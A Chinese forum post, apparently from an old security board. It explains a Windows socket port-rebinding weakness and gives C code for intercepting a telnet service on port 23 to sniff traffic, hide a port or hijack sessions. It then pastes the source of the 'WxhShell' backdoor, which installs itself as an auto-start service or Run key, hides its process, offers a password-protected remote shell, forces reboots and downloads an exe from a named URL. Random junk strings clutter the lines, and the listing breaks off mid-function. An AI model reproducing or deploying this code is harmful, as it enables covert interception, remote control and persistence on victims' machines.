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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z%qtAPd  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UgC65O2  
gYc]z5`  
  saddr.sin_family = AF_INET; c_D(%Vf5  
@I`^\oJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); SscB&{f  
aIV / c  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T+F]hv'  
!ka* rd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Sz go@x$^  
6`e7|ilh6  
  这意味着什么?意味着可以进行如下的攻击: gVOAB-nw  
hu.o$sV3;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zl|z4j'Irc  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %'=*utOxy  
&xQM!f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l[38cF  
20|`jxp  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^es]jng`  
ZNX38<3h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \g39>;iR  
~P1~:AT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }aVZ\PDg  
.:r~?$(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %L+q:naZe  
XVYFyza;  
  #include \!-BR0+y;  
  #include "La;$7ds  
  #include vjuFVJwL  
  #include    br[iRda@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >X*tMhcb  
  int main() /o;M ?Nt6  
  { -Uwxmy+  
  WORD wVersionRequested; "jFf}"  
  DWORD ret; M3pE$KT0x  
  WSADATA wsaData; 9r!8BjA  
  BOOL val; ?l0eU@rwQ  
  SOCKADDR_IN saddr; dZU#lg  
  SOCKADDR_IN scaddr; FlBhCZ|^  
  int err; 7z b^Z]  
  SOCKET s; 'a ['lF  
  SOCKET sc; \CL8~  
  int caddsize; )/T[Cnx.Nc  
  HANDLE mt; 6>a6;[  
  DWORD tid;   8h=t%zMSb  
  wVersionRequested = MAKEWORD( 2, 2 ); g4IF~\QRVi  
  err = WSAStartup( wVersionRequested, &wsaData ); mlnF,+s  
  if ( err != 0 ) { a5 D|#9  
  printf("error!WSAStartup failed!\n"); l|P"^;*zq  
  return -1; 95l)s],  
  } .uuhoqG0  
  saddr.sin_family = AF_INET; D|:'|7l W  
   Hr|f(9xA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Re$h6sh  
aSzI5J]/=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -NBVUUAgN  
  saddr.sin_port = htons(23); =&}@GsXdo  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7'G;ijx  
  { {213/@,  
  printf("error!socket failed!\n"); <xI<^r'C9e  
  return -1; b6D;98p  
  } A3jxjQ  
  val = TRUE; !J$r|IX5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9LDv?kYr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *WwM"NFHDd  
  { 6d-\+ t8  
  printf("error!setsockopt failed!\n"); *_(X$qfoW  
  return -1; &N~Eu-@b  
  } =)a24PDG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; LOh2eZ"n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g6GkA.!X$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  WR;1  
bJ ~H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) GEc6;uz<  
  { mUYRioNj  
  ret=GetLastError(); Rs%`6et}\  
  printf("error!bind failed!\n"); v=U<exM6%  
  return -1; w0Qtr>"  
  } A;oHji#*  
  listen(s,2); h0{X$&:  
  while(1) G@]3EP  
  { {{G)Ry*pb  
  caddsize = sizeof(scaddr); u`pTFy  
  //接受连接请求 LrB 0x>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E&M(QX5  
  if(sc!=INVALID_SOCKET) Iy<>-e"|  
  { jK|n^5\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z)?$ZI@  
  if(mt==NULL) ;Afz`Se1@  
  { ;Qi:j^+P)  
  printf("Thread Creat Failed!\n"); J'44j;5&  
  break; $7x2TiAL  
  } ':*H#}Br-#  
  } U3(+8}Q  
  CloseHandle(mt); R9XU7_3B  
  } ]aX@(3G1s  
  closesocket(s); Vk2$b{VdF  
  WSACleanup(); <,i4Ua  
  return 0; DT-VxF6h  
  }   X/5m}-6d]  
  DWORD WINAPI ClientThread(LPVOID lpParam) D#;7S'C  
  { 56V|=MzX]  
  SOCKET ss = (SOCKET)lpParam; 0TU3 _;o  
  SOCKET sc; H$![]Ujq  
  unsigned char buf[4096]; ?UnQ?F(+G<  
  SOCKADDR_IN saddr; dC=[o\  
  long num; 01cBAu   
  DWORD val; GVY7`k"km  
  DWORD ret; G m~ ./-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9+ 'i(q z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fz'qB-F Y  
  saddr.sin_family = AF_INET; F}; R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (0-Ol9[  
  saddr.sin_port = htons(23); (x=$b(I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ww2mL <B  
  { 4f LRl-)  
  printf("error!socket failed!\n"); !~#zd]0x;  
  return -1; C'6I< YX  
  } [F-R*}&x  
  val = 100; w~ Tg?RH:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8>KUx]AN  
  { ASqYA1p.  
  ret = GetLastError(); 'a#lBzu\b  
  return -1; o'2eSm0H  
  } mU5Ox4>&9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VD=H=Ju  
  { k:0j;\Sx  
  ret = GetLastError(); 80lei  
  return -1; QLqtE;;)JK  
  } #p}GWS)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4BCPh:  
  { Hw \of  
  printf("error!socket connect failed!\n"); :=Olp;+_  
  closesocket(sc); KC;cu%H  
  closesocket(ss); " U\RN  
  return -1; l5 9a3=q  
  } M(X _I`\E  
  while(1) Iz0$T.T  
  { QjTSbHtH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n`,  <g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;cMQ 0e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V}y]<  
  num = recv(ss,buf,4096,0); hRf l\Q[  
  if(num>0) Oe5rRQ$O  
  send(sc,buf,num,0); eF+F"|1h  
  else if(num==0) 4=Th<,<  
  break; J"aw 1  
  num = recv(sc,buf,4096,0); $Q*R/MY  
  if(num>0) m23"xnRB  
  send(ss,buf,num,0); |  0  
  else if(num==0) g+#<;Gbpe  
  break; Xg dBLb  
  } xfRp_;l+R  
  closesocket(ss); M@[W"f Wq  
  closesocket(sc); P~a@{n*8  
  return 0 ; u W]gBhO$O  
  } ~1O|4mssS  
~/rD _K  
Skr (C5T  
========================================================== Z9vMz3^N  
7_\G|Zd  
下边附上一个代码,,WXhSHELL x?S86,RW  
H_&to3b(  
========================================================== 5} %R  
[* <x)  
#include "stdafx.h" z/\OtYz  
{o~TbnC  
#include <stdio.h> ZID-~ 6  
#include <string.h> , >7PG2 a  
#include <windows.h> i^DMnvV.  
#include <winsock2.h> U'=8:&  
#include <winsvc.h> 8?Rp2n*o  
#include <urlmon.h> kL DpZ{  
L-9fo-  
#pragma comment (lib, "Ws2_32.lib") >6S7#)0T  
#pragma comment (lib, "urlmon.lib") k]p|kutQCy  
LK}g<!o(  
#define MAX_USER   100 // 最大客户端连接数 h *R@ d  
#define BUF_SOCK   200 // sock buffer 8KJUC&`  
#define KEY_BUFF   255 // 输入 buffer v~ >Bbe  
|y^=(|eM  
#define REBOOT     0   // 重启 t+v %%N_  
#define SHUTDOWN   1   // 关机 ~cc }yDe  
O}i+ 1  
#define DEF_PORT   5000 // 监听端口 ,IB\1#  
O50_qu33ju  
#define REG_LEN     16   // 注册表键长度 J8)l,J"  
#define SVC_LEN     80   // NT服务名长度 NF0_D1Goi  
M P8Sd1_=  
// 从dll定义API xf&[QG+Ef  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d.? }>jl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q/g!h}>(.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m""+ $  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sT;wHtU  
Ba[,9l[  
// wxhshell配置信息 uE.BB#  
struct WSCFG { u)<]Pb})r  
  int ws_port;         // 监听端口 eA7 Iv{M  
  char ws_passstr[REG_LEN]; // 口令 !JXiTI!  
  int ws_autoins;       // 安装标记, 1=yes 0=no ulxlh8=  
  char ws_regname[REG_LEN]; // 注册表键名 1_t+lJI9j  
  char ws_svcname[REG_LEN]; // 服务名 <8}FsRr;J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yx Om=V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2PAu>}W*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 - )(5^OQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~vA{I%z5~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :^ywc O   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9)7$UQY  
2VRGTx  
}; `,6|6.8#  
QdgJNT<=H,  
// default Wxhshell configuration  !64Tx  
struct WSCFG wscfg={DEF_PORT, Tc(=J7*r&  
    "xuhuanlingzhe", @ZU$W9g  
    1, 6C2~0b   
    "Wxhshell", 5TJd9:\Af  
    "Wxhshell", k&ooV4#f6  
            "WxhShell Service",  U${W3Ra  
    "Wrsky Windows CmdShell Service", 36{GZDGQ  
    "Please Input Your Password: ", WnG 2\(U  
  1, FGi7KV=N  
  "http://www.wrsky.com/wxhshell.exe", 7(1`,Y  
  "Wxhshell.exe" \'Ae,q|w  
    }; |^l_F1+w  
@[lMh9`  
// 消息定义模块 hY.i`sp*/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3tZIL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [eD0L7 1[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GCJ[xn(_  
char *msg_ws_ext="\n\rExit."; EQ273sdK  
char *msg_ws_end="\n\rQuit."; l\W|a'i  
char *msg_ws_boot="\n\rReboot..."; !Q[v"6?  
char *msg_ws_poff="\n\rShutdown..."; UiG/Rn  
char *msg_ws_down="\n\rSave to "; 44} 5o  
?zBu` 7j  
char *msg_ws_err="\n\rErr!"; eMRH*MyD  
char *msg_ws_ok="\n\rOK!"; 1*=ev,Z  
*U^Y@""a  
char ExeFile[MAX_PATH]; nmU1xv_  
int nUser = 0; -~{Z*1`,  
HANDLE handles[MAX_USER]; ~snj92K  
int OsIsNt; LJ[zF~4#  
Oin9lg-jR  
SERVICE_STATUS       serviceStatus; N; }$!sNIm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BI:Cm/ >  
JjS+'A$A5  
// 函数声明 /i"hViCrlG  
int Install(void); cp@Fj"  
int Uninstall(void); <}J !_$A  
int DownloadFile(char *sURL, SOCKET wsh); 5 e+j51  
int Boot(int flag); `0NU c)`  
void HideProc(void); S=k!8]/d|  
int GetOsVer(void); <;Hb7p3N  
int Wxhshell(SOCKET wsl); jUm-!SK}q  
void TalkWithClient(void *cs); D<J'\mo  
int CmdShell(SOCKET sock); k K=VG< :M  
int StartFromService(void); Rv&"h_"t  
int StartWxhshell(LPSTR lpCmdLine); D 5rH6*J  
<2)AbI+3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t,9+G<)>H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LWM<[8wJ4  
uU 7 <8G  
// 数据结构和表定义 0ZjT.Ep  
SERVICE_TABLE_ENTRY DispatchTable[] = Leb Kzqe  
{ ATkd#k%S  
{wscfg.ws_svcname, NTServiceMain}, f![] :L  
{NULL, NULL} z[f]mU  
}; ?V2P]|  
,w~3K%B4  
// 自我安装 @m5J%8>k  
int Install(void) 6 >)fNCe`  
{ g!~SHW)l  
  char svExeFile[MAX_PATH]; E.*hY+kGZ  
  HKEY key; L~5f*LE$1  
  strcpy(svExeFile,ExeFile); =CFjG)L  
4dbX!0u1l  
// 如果是win9x系统,修改注册表设为自启动 >3/ mV<g f  
if(!OsIsNt) { 1e[?}q]*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { US)i"l7:H*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C)U4Fr ?E:  
  RegCloseKey(key); 9\Gk)0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +~V_^-JG&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wxHd^b  
  RegCloseKey(key); bR7tmJ[)Z  
  return 0; FC+-|1?C  
    } ;cVK2'  
  } |y7TYjg6  
} 8d*S9p,/  
else { h~Ir= JV  
p|gVIsg[-e  
// 如果是NT以上系统,安装为系统服务 (.$$U3\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Zw)=Y.y!  
if (schSCManager!=0) L&+k`b  
{ Ia%cc L=  
  SC_HANDLE schService = CreateService uB+#<F/c  
  ( #!_4ZX  
  schSCManager, }N9PV/a  
  wscfg.ws_svcname, +On2R&m  
  wscfg.ws_svcdisp, nP*DZC0kE&  
  SERVICE_ALL_ACCESS, ]A[}:E 5}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cWnEp';.  
  SERVICE_AUTO_START, Bj{J&{  
  SERVICE_ERROR_NORMAL, <!t;[ie?y  
  svExeFile, hD#Mhy5h  
  NULL, yE N3/-S+  
  NULL, Z<|x6%  
  NULL, N#-%b"(  
  NULL, gGNo!'o  
  NULL %J6>Vc!ix=  
  ); ,r3`u2)  
  if (schService!=0) W/RB|TMT  
  { 9/8+R%  
  CloseServiceHandle(schService); a:P+HU:  
  CloseServiceHandle(schSCManager); @[FO;4w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]hlQU%&  
  strcat(svExeFile,wscfg.ws_svcname); r+Sv(KS4i^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w?_'sP{pd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,4,Bc<  
  RegCloseKey(key); 86KK Y2  
  return 0; "&qAV'U  
    } tHqa%  
  } i%i s<'  
  CloseServiceHandle(schSCManager); L8E4|F}  
} c;KMox/  
} `}ZtK574  
uu-M7>+  
return 1; "KCG']DF  
} ?;w`hA3ei  
0T@axQ[%  
// 自我卸载 "\lO Op^-  
int Uninstall(void) ,ZYPffu<*  
{ PXl%"O%d  
  HKEY key; Ya jAz5N  
.LM|@OeaD!  
if(!OsIsNt) { g^:`h VV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B)d 4]]4\\  
  RegDeleteValue(key,wscfg.ws_regname); m1K4_a)^[  
  RegCloseKey(key); Ii3F|Vb G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  `uDOIl  
  RegDeleteValue(key,wscfg.ws_regname); h8k\~/iJ  
  RegCloseKey(key); r_8;aPL  
  return 0; KAVkYL0  
  } /A>nsN?:]  
} L*rCUv`  
} jMX+uYx M  
else { Rw63{b/  
9 %Vy,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y(a>Y! dgU  
if (schSCManager!=0) k8+U0J_{'  
{ re4z>O*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %ol1WG9  
  if (schService!=0) D2Q0p(#%  
  { 6\UIp#X  
  if(DeleteService(schService)!=0) { F U L'=Xo  
  CloseServiceHandle(schService); EIpz-"S  
  CloseServiceHandle(schSCManager); =|fB":vk  
  return 0; @d0~'_vtB  
  } t,A=B(W  
  CloseServiceHandle(schService); T`u ,!S  
  } YoK )fh$  
  CloseServiceHandle(schSCManager); fC}uIci  
} hoiC J}us  
} pOB<Bx5t  
5]kv1nQ  
return 1; Lv)1 )'v0  
} ZBQ@S  
xlsAct:  
// 从指定url下载文件 4T~wnTH0Xg  
int DownloadFile(char *sURL, SOCKET wsh) c:B` <  
{ OeZ"WO  
  HRESULT hr; h >Z`&  
char seps[]= "/"; (*T$:/zI S  
char *token; fL-$wK<p<  
char *file; l&Y'5k_R  
char myURL[MAX_PATH]; ,nV4%Aa  
char myFILE[MAX_PATH]; sQ[N3  
>$a;+v  
strcpy(myURL,sURL); :N_DJ51  
  token=strtok(myURL,seps); _ib @<%  
  while(token!=NULL) Bf[`o<c  
  { 4#t-?5"  
    file=token; mwZ) PySm)  
  token=strtok(NULL,seps); mO8/eVws[M  
  } .Ep&O#  
5-&"nn2*}1  
GetCurrentDirectory(MAX_PATH,myFILE);  &Du S*  
strcat(myFILE, "\\"); LEX @hkh  
strcat(myFILE, file); D O||o&u  
  send(wsh,myFILE,strlen(myFILE),0); Zdfh*MHMg  
send(wsh,"...",3,0); @a 7U0$,O#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h7o.RRhK  
  if(hr==S_OK) *=T(ncR['  
return 0; <:8Ew  
else &$l#0?Kc^  
return 1; !*?9n ^PaF  
~zWLqnS}  
} S a}P |qI  
_qo\E=E  
// 系统电源模块 k;qWiYMV  
int Boot(int flag) ki1j~q  
{ GY^;$?  
  HANDLE hToken; &rl;+QS  
  TOKEN_PRIVILEGES tkp; ,]Xn9 W  
q[/pE7FL  
  if(OsIsNt) { !?+q7U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T4[/_;1g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~CdW: t  
    tkp.PrivilegeCount = 1; 4G XS(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v53|)]V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TZ!@IBu  
if(flag==REBOOT) { `46.!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ed2A\S6tl  
  return 0; rUAt`ykTmN  
} k]`-Y E  
else { }Gy M<!:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZE~zs~z|  
  return 0; nr,Z0  
} ED>a'y$f  
  } Wcm8,?*  
  else { ~-B+7  
if(flag==REBOOT) { ;Me*# /  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fop +xR,Z  
  return 0; ,|.}6\zl*{  
} "^a"`?J  
else { z0#2?o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r9L--#=z  
  return 0; 3d olrW  
} G#^0Bh&  
} bSz7?NAp  
lBAu@M  
return 1; UT9u?  
} E0 E K88  
vLyazVj..  
// win9x进程隐藏模块 @qj]`}Gx'  
void HideProc(void) $CX3P)% `  
{ Ym! e}`A\F  
*f`P7q*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kfT*G +l]  
  if ( hKernel != NULL ) ={V@Y-5T  
  { VuH ->  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xIC@$GP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SgehOu  
    FreeLibrary(hKernel); NY.* S6  
  } w>=N~0@t  
G9yK/g&q  
return; 6Io}3}3  
} isQOt * i  
]sk=V.GGQ  
// 获取操作系统版本 Lhe&  
int GetOsVer(void) =!xX{o?64  
{ *kg->J  
  OSVERSIONINFO winfo; p'1/J:EnV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %A=/(%T>  
  GetVersionEx(&winfo); $T^q>v2u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZH9Fs'c=  
  return 1; VJ&<6  
  else 3 ?I!  
  return 0; r9'[7b1l  
} /#H P;>!n  
hpb|| V  
// 客户端句柄模块 }X^MB  
int Wxhshell(SOCKET wsl) (I#6!Yt9J  
{ zIjfx K  
  SOCKET wsh; H?J:_1  
  struct sockaddr_in client; HbsNF~;  
  DWORD myID; -bzlp7q*  
bS r"k  
  while(nUser<MAX_USER) W/>a 1  
{ Kq-1  b  
  int nSize=sizeof(client); C9sU^ ]#F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A#T"4'#?<  
  if(wsh==INVALID_SOCKET) return 1; M-Efe_VRQc  
C|TQf8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pka^7OWyN  
if(handles[nUser]==0) tJrGRlB>  
  closesocket(wsh); dR1IndZl  
else YYYF a  
  nUser++; d 4;$=P  
  } h]ae^M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4J_HcatOB  
[1 P_^.Htr  
  return 0; WF~BCP$OR  
} *m+FMyr  
 &kmaKc  
// 关闭 socket >,]a>V  
void CloseIt(SOCKET wsh) A'z]?xQR  
{ 9d#?,:JG  
closesocket(wsh); :p/=KI_  
nUser--; -EP1Rl`\  
ExitThread(0); C?gqX0[ q  
} rCDt9o>  
sPvs}}Z]P  
// 客户端请求句柄 !<:Cd(bM  
void TalkWithClient(void *cs) e72Fz#<q  
{ 49=pB,H;H  
6LCtWX  
  SOCKET wsh=(SOCKET)cs; yC\UT ~j/  
  char pwd[SVC_LEN]; PljPhAce  
  char cmd[KEY_BUFF]; pJ/]\>#5  
char chr[1]; `D[O\ VE  
int i,j; ~Yk^(hl2  
e3SnC:OWf  
  while (nUser < MAX_USER) { c8X;4 My  
7gf(5p5ZV  
if(wscfg.ws_passstr) { mc?IM(t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )v_Wn[Y.H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q/]~`S  
  //ZeroMemory(pwd,KEY_BUFF); #17 &rizl  
      i=0; #Pg`0xiV  
  while(i<SVC_LEN) { yHw @Z  
v3Vve:}+  
  // 设置超时 -fA=&$V  
  fd_set FdRead; QNx]8r  
  struct timeval TimeOut; 5`p9Xo>)yW  
  FD_ZERO(&FdRead); MN2i0!+  
  FD_SET(wsh,&FdRead); #G]IEO$M6  
  TimeOut.tv_sec=8; {UP[iw$~  
  TimeOut.tv_usec=0; qK.(w Fx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ux TgK'3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <WIIurp  
b=lJ`|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GO"|^W  
  pwd=chr[0]; " 7^nRJy  
  if(chr[0]==0xd || chr[0]==0xa) { I+kAy;2  
  pwd=0; c46-8z$  
  break; 7zw0 g~+  
  } akyMW7'3V<  
  i++; f9u=h}  
    } Q")Xg:  
8C3oi&av/{  
  // 如果是非法用户,关闭 socket Vhv'Z\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gEk;Tj  
} Yg.[R] UC  
,A`|jF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BZW03e8|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LH4#p%Pb%  
j_g(6uZhz3  
while(1) { ,VVA^'+  
bfA>kn0C  
  ZeroMemory(cmd,KEY_BUFF); =OO4C  
s_y8+BJaV  
      // 自动支持客户端 telnet标准   {FFdMdxy-  
  j=0;  ?P +Uv  
  while(j<KEY_BUFF) {  _ VuWo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CPy>sV3Ru0  
  cmd[j]=chr[0]; tNFw1&  
  if(chr[0]==0xa || chr[0]==0xd) { 6Pl|FI JF  
  cmd[j]=0; vgy.fP"@  
  break;  'l5  
  } r&8aB85  
  j++; bss2<mqlH  
    } E:8*o7  
;'{7wr|9  
  // 下载文件 F62 uDyY  
  if(strstr(cmd,"http://")) { m:)&:Y0 (a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6,YoP|@0  
  if(DownloadFile(cmd,wsh)) PoaCnoNS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  E& cC2(w  
  else =i  vlS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cV6H!\  
  } Dc0=gq0  
  else { +TqrvI.  
|j0_^:2r=  
    switch(cmd[0]) { 8D)1ZUx7`  
  Ee}|!n>  
  // 帮助 H Y5R  
  case '?': { c #{|sR5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mQ`atFz:Z  
    break; %mss{p!d6  
  } `l]Lvk8O  
  // 安装 !Np7mv\7  
  case 'i': { a&JY x  
    if(Install()) {g nl6+j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !$l<'K$  
    else gN<7(F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K@=u F 1?  
    break; }i^M<A O  
    } b|AjB:G  
  // 卸载 yn!;Z ._  
  case 'r': { Kkq-x'gt^  
    if(Uninstall()) kHr-UJ!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {,5 .svO  
    else xKE=$SV(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H^kOwmSzh  
    break; *-=/"m  
    } &v0]{)PO  
  // 显示 wxhshell 所在路径 T+T)~!{%  
  case 'p': { dCM &Yf}K  
    char svExeFile[MAX_PATH]; Pteti  
    strcpy(svExeFile,"\n\r"); pmBN?<  
      strcat(svExeFile,ExeFile); nmn/4>  
        send(wsh,svExeFile,strlen(svExeFile),0); 4~1b  
    break; Xbmsq,*]  
    } yHE\Q  
  // 重启 YSxr(\~j   
  case 'b': { to).PI?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ??e|ec2%  
    if(Boot(REBOOT)) 9LPXhxNwB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g~-IT&O  
    else { .s4vJKK0  
    closesocket(wsh); 3}V (8  
    ExitThread(0); >|RoLV  
    } KsIHJr7-  
    break; |in>`:qk  
    } *\#<2 QAe  
  // 关机 82 |^o  
  case 'd': { x(sKkm`Q  
